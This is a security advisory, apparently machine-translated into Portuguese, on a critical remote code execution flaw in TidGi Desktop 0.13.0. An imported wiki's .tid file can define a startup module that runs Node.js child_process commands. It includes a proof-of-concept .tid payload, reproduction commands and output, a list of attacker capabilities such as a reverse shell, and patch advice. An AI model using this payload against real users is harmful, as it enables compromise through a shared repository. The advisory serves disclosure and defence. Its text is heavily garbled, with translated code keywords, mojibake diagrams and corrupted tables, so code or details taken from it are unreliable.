Desktop TidGi através 0.13.0 contém uma vulnerabilidade de execução de código remota crítica explorável através de uma única importação de repositório Git. A vulnerabilidade aproveita o sistema de módulos do TiddlyWiki, que descobre e executa automaticamente o código JavaScript incorporado em arquivos `.tid` colocados no diretório `tiddlers/` do wiki: 1 **Carregando automaticamente arquivos `.tid`** (`src/services/wiki/wikiWorker/loadWikiTiddlersWithSubWikis.ts: 59 - 92 `) — quando o TidGi inicializa um espaço de trabalho wiki, ` loadWikiTiddlers` lê todos os arquivos `.tid` do sistema de arquivos e os adiciona à loja wiki via `wiki.addTiddlers()`. 2. **Registro automático do módulo** (`node_modules/tiddlywiki/boot/boot.js: 2564 - 2565 `) — "DefineTiddlerModules()` itera todos os tiddlers na loja. Qualquer tiddler com um campo `tipo módulo` é passado para `$tw.modules.define()`, registrando- o como um módulo executável. 3. **Execução automática de inicialização** (`node_modules/tiddlywiki/boot/boot.js: 2572 - 2634 `) — todos os módulos registrados do tipo `"startup"` são coletados e a função `exports.startup()` é chamada durante a sequência de inicialização. Quando nenhuma restrição `plataformas` estiver definida, `doesTaskMatchPlatform()` retorna `verdadeira`, e a função de inicialização executa com o acesso completo `require()` do Node.js no processo Wiki Worker. A cadeia completa foi verificada no macOS com TiddlyWiki 5.4.0 e Node.js v 26 — `require('child_process').execSync()` executado com sucesso comandos de shell arbitrários.

- **Produto**: Desktop TidGi - **Vendor**: Lin Onetwo ( gittly) - **Repository**: Desktop - **Versões afetadas**: 0.13.0 (último lançamento) - **Componentes**: `src/services/wiki/wikiWorker/loadWikiTiddlersWithSubWikis.ts` (carregamento do tiddler), `src/services/wiki/wikiWorker/startNodeJSWiki.ts` (bota de wiki), `node_modules/tiddlywiki/boot/boot.js` (Córrego TiddlyWiki — `defineTiddlerModules`, despacho inicial) - **Pacote**: tidgi (npm) ## Detalhes de vulnerabilidade. Causa Raiz 1 — Arquivos `. tid` Carregados automaticamente antes do processamento do módulo **Arquivo: `src/services/wiki/wikiWorker/ loadWikiTiddlersWithSubWikis.ts: 59 - 92 `**. ```` tipscript const tiddlerFiles = wikiInstance. loadTiddlers FromPath(subWikiTiddlersPath); para (Const TiddlerFile of TiddlerFile) { // Register informações do arquivo para o adaptador do sistema de arquivos //... // Adicionar tiddlers para wiki wikiInstance.wiki.addTiddlers(tiddlerFile. tiddlers); // ← Linha 92 } ``` **Arquivo: `src/services/wiki/wikiWorker/startNodeJSWiki.ts: 256 `**. ``` tipscript wikiInstance.boot.startup({ bootPath: TIDDLY_WIKI_BOOT_PATH }); ```.

Isto ativa `$tw.boot.startup()`, que internamente chama `loadStartup()` → `loadTiddlersNode()` → `$tw.loadWikiTiddlers($tw.boot.wikiPath)` (boot.js: 2381 ). TidGi sobrepõe `carregarWikiTiddlers` no inícioNodeJSWiki.ts: 123 para interceptar e injetar os tiddlers de sub- wiki, mas a função original ainda carrega todos os arquivos `. tid` do diretório ` tiddlers/` do wiki principal. Causa Raiz 2 — Registro automático do módulo através do campo `tipo módulo' **Arquivo: `node_modules/tiddlywiki/boot/boot.js: 1514 - 1534 `** — `definir os Módulos de Tiddler()`. ```javascript $tw.Wiki.prototype.defineTiddlerModules = function() { este.each(function(tiddler,title) { if( tiddler. hasField("module- type") & & (! tiddler. hasField("draft.of"))) { switch( tiddler.fields.type) { caso "application/javascript": $tw.modules.define( tiddler.fields.title, // "$:/plugins/poc/startup.js" tiddler.fields["module- type"], // "startup" tiddler.fields.text // agressor' s JS code; break; } }; }; Esta função é chamada durante o `execStartup()` (boot.js: 2565 ), **após** `loadStartup()` já carregou todos os arquivos `. tid` na loja wiki. Qualquer tiddler com `tipo módulo: inicialização` e `tipo: aplicativo/ javascript` é automaticamente registrado como um módulo executável. Causa Raiz 3 — Execução automática de inicialização com acesso completo ao Node.js.

**Arquivo: `node_modules/tiddlywiki/boot/boot.js: 2572 - 2576 `** — Coletando módulos de inicialização. ``` javascript $tw.boot.remainingStartupMódules = []; $tw.modules.para cada móduloOfType("startup", função(título, módulo) { if(module.startup) { $tw.boot.remainingStartupMódules.push(module); // ← módulo do atacante coletado } }); ``` **Arquivo: `node_modules/tiddlywiki/boot/boot.js: 2631 - 2634 `** — Iniciação de execução. ``` javascript if(!$tw.utils.hop(task,"sincronous")... task.sincronous) { const roachable = task.startup(); // ← exports.startup() chamado ``` **Arquivo: `node_modules/tiddlywiki/boot/boot.js: 2658 - 2677 `** — Verificação da plataforma (passa sem `plataformas' explícitas) ```javascript $tw.boot.doesTaskMatchPlatform = função(tarefaMódulo) { plataformas var = tarefaMódulo.plataformas; if(plataformas) { //... verifique cada plataforma... devolver falso; // ← só rejeita se as plataformas estiverem explicitamente definidas } devolvem true; // ← nenhum campo de plataformas → passa incondicionalmente }; ```` ### Sequência de inicialização completa (verificada contra TiddlyWiki 5.4.0 ). ``` $tw.boot.startup() // boot.js: 2589 § ─ ─ initStartup() // boot.js: 2393 §── loadStartup() // boot.js: 2538 │ ї── loadTiddlersNode() // boot.js: 2356 │ ї─ ¢ $tw. loadWikiTiddlers(wikiPath) // boot.js: 2381 │ ї── wiki.addTiddlers(...) // carrega arquivos.tid na loja ї── execStartup() // boot.js: 2553 §── defineModulos de Sombra() // boot.js: 2564 ν── defineTiddlerModules() // boot.js: 2565 ← registra o módulo do atacante Ä── paraEachModuleOfType("startup",...) // boot.js: 2572 ← coleta módulos de inicialização ї── executarNextStartupTask() // boot.js: 2611 ї── task.startup() // boot.js: 2634 ← exports.startup() executa ```.

Condições de exploração. - ** Não é necessária a autenticação** — importar um wiki é um recurso padrão - ** Apenas interação do usuário**: clique em "Adicionar espaço de trabalho" → selecione pasta/URL → confirmar ### Fluxo completo de ataque. """""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""" 1 Atacador cria um repositório malicioso TiddlyWiki │ Ł Ł ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ♫ Tiddlers/$_plugins_poc_startup.js.tid: │ │ │ │ │ │ │ │ título: $: /plugins/poc/startup.js │ │ │ │ │ │ │ │ │ │ ♫ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ │ │ │ │ │ │ │ ♫ ♫ ♫ ♫ ♫ ♫ ♫ ♫ ♫ 2 A vítima importa o repositório no desktop TidGi │ ântâ ~ ─ântâ ~ ─ântâ¢ntâ¢ntântântântão ¢ ¢Ã ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ ¢ 3: RCE — Auto-execuções do módulo de inicialização no Node.js Worker │ Ł ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ │ carregarWikiTiddlers carrega.tid file → wiki.addTiddlers() │ │ boot.startup() → execStartup() │ │ │ definirTiddlerMódules() → $tw.modules.define("startup",...) │ │ executarNextStartup() → exports.startup() │ │ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ### Arquivo mínimo `.tid` (coloca no diretório `tiddlers/`). ```` título: $:/plugins/poc/startup.js tipo: aplicativo/javascript tipo- módulo: inicialização exports.startup = function() { require('child_process').execSync('touch / tmp/TidGi- RCE-PoC.txt'); console.log('STARTUP_EXECUTED'); }; ```. ### Saída de Verificação (macOS, TiddlyWiki) 5.4.0, Node.js v 26 ).

``` $ node -e " const \$tw = require('tiddlywiki/boot/boot.js').TiddlyWiki(); \$tw.boot.argv = ['/tmp/evil-wiki']; \$tw.boot.startup(); " STARTUP_EXECUTED $ ls -la /tmp/TidGi- RCE-PoC.txt -rw-r-- r--- 1 roda nuii 0 Jun 3 00: 01 /tmp/TidGi- RCE- PoC.txt ``` A mensagem `STARTUP_EXECUTED` impressa a partir da função `exports.startup()' do atacante, e o arquivo `/ tmp/ TidGi- RCE- PoC.txt` foi criado por `execSync('touch...')`, confirmando a execução arbitrária de comandos. Capacidade Status da empresa Detalhes da empresa 'require('child_process')` disponível 'Arquivo Arbitraria Leia o 'Arquivo Arbitraria' 'require('fs''').leia o FileSync()``'Arquivo Arbitraria 'require('fs'''''ReadFileSync()``'Arquivo Arbitraria Write`'Require('fs''''RewriteFileSync()```'Reversal Shell`'''Reverter Node.js 'net' module`''Persistência''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' 1 clique em Importar repositório em plataforma cruzada Windows, macOS, Linux.

Evidência de Reprodução. Passo 1 — Conteúdo de arquivo maligno `. tid` ```` título: $:/plugins/poc/startup.js tipo: aplicativo/javascript tipo- módulo: inicialização. exports.startup = function() { require('child_process').execSync('touch / tmp/TidGi- RCE-PoC.txt'); console.log('STARTUP_EXECUTED'); }; ``` Passo 2 — Bota TiddlyWiki com wiki malicioso em `/tmp/evil-wiki`. ``` $ node -e " const \$tw = require('tiddlywiki/boot/boot.js').TiddlyWiki(); \$tw.boot.argv = ['/tmp/evil-wiki']; \$tw.boot.startup(); " STARTUP_EXECUTED ``` Passo 3 — RCE verificado: `/ tmp/ TidGi- RCE- PoC.txt` criado. ``` $ ls - la /tmp/TidGi- RCE-PoC.txt -rw-r-- r--- 1 roda nuii 0 Jun 3 00: 01 /tmp/TidGi- RCE- PoC.txt ```.

Recomendação de Patch. ### Corrigir 1: Desativar o `tipo de módulo` nos Tiddlers do usuário TiddlyWiki deve distinguir entre os tiddlers do sistema (enviados com TidGi ou instalados como plug- in oficiais) e os tiddlers criados pelo usuário. Os tiddlers criados pelo usuário nunca devem ser permitidos a definir o `tipo módulo'. ````typescript // Em defineTiddlerModules() ou equivalente se (tiddler.hasField("tipo módulo") & &!tiddler.fields.title. startsWith("$:/")) { // User tiddler — silently drop module-type field return; } ``` ### Corrigir 2: Módulos de usuário Sandbox. Se os módulos criados pelo usuário devem ser suportados, executá-los em um contexto restrito sem acesso ao Node.js built- in:.

```typescript // Substituir o acesso direto com uma superfície restrita da API vm vm = require('vm'); const sandbox = { console, $tw, Buffer }; vm.runInNewContext(moduleCode, sandbox, { timeout: 5000 }); ``` ### Corrigir 3: Lista branca Permitida Valores do tipo "module". Apenas permite valores `tipo módulo` de segurança para os tiddlers de usuário: ````typescript const ALLOWED_USER_MODULE_TYPES = ['widget', 'macro', 'filtro', 'parser']; se (!ALLOWED_USER_MODULE_TYPES.incluye(tiddler.fields['module- type'])) { retorno; // Bloquear inicialização, biblioteca, salvador, etc. } ````` Registro de aconselhamento: GHSA- 9 hc 2 - hjx 8 - q 6 pv. Não há nenhum identificador adicional listado.

Tempo: GitHub Advisory Database publicou este registro em 2026 - 07 - 14 T 19: 52: 41.000 Z e lista a sua última modificação como 2026 - 07 - 14 T 19: 52: 41.000 Z. Gravidade: Crítico. Dados de pontuação publicados: CVSS_V 3: CVSS: 3.1 /AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H. Software afetado e informação de versão: pacote npm tidgi — ECOSISTEM: introduzido 0, última afetada 0.13.0. Classificação e evidência: identificadores de fraqueza CWE- 94. O registro contém 2 suporte de referências nestes tipos: WEB, PACKAGE.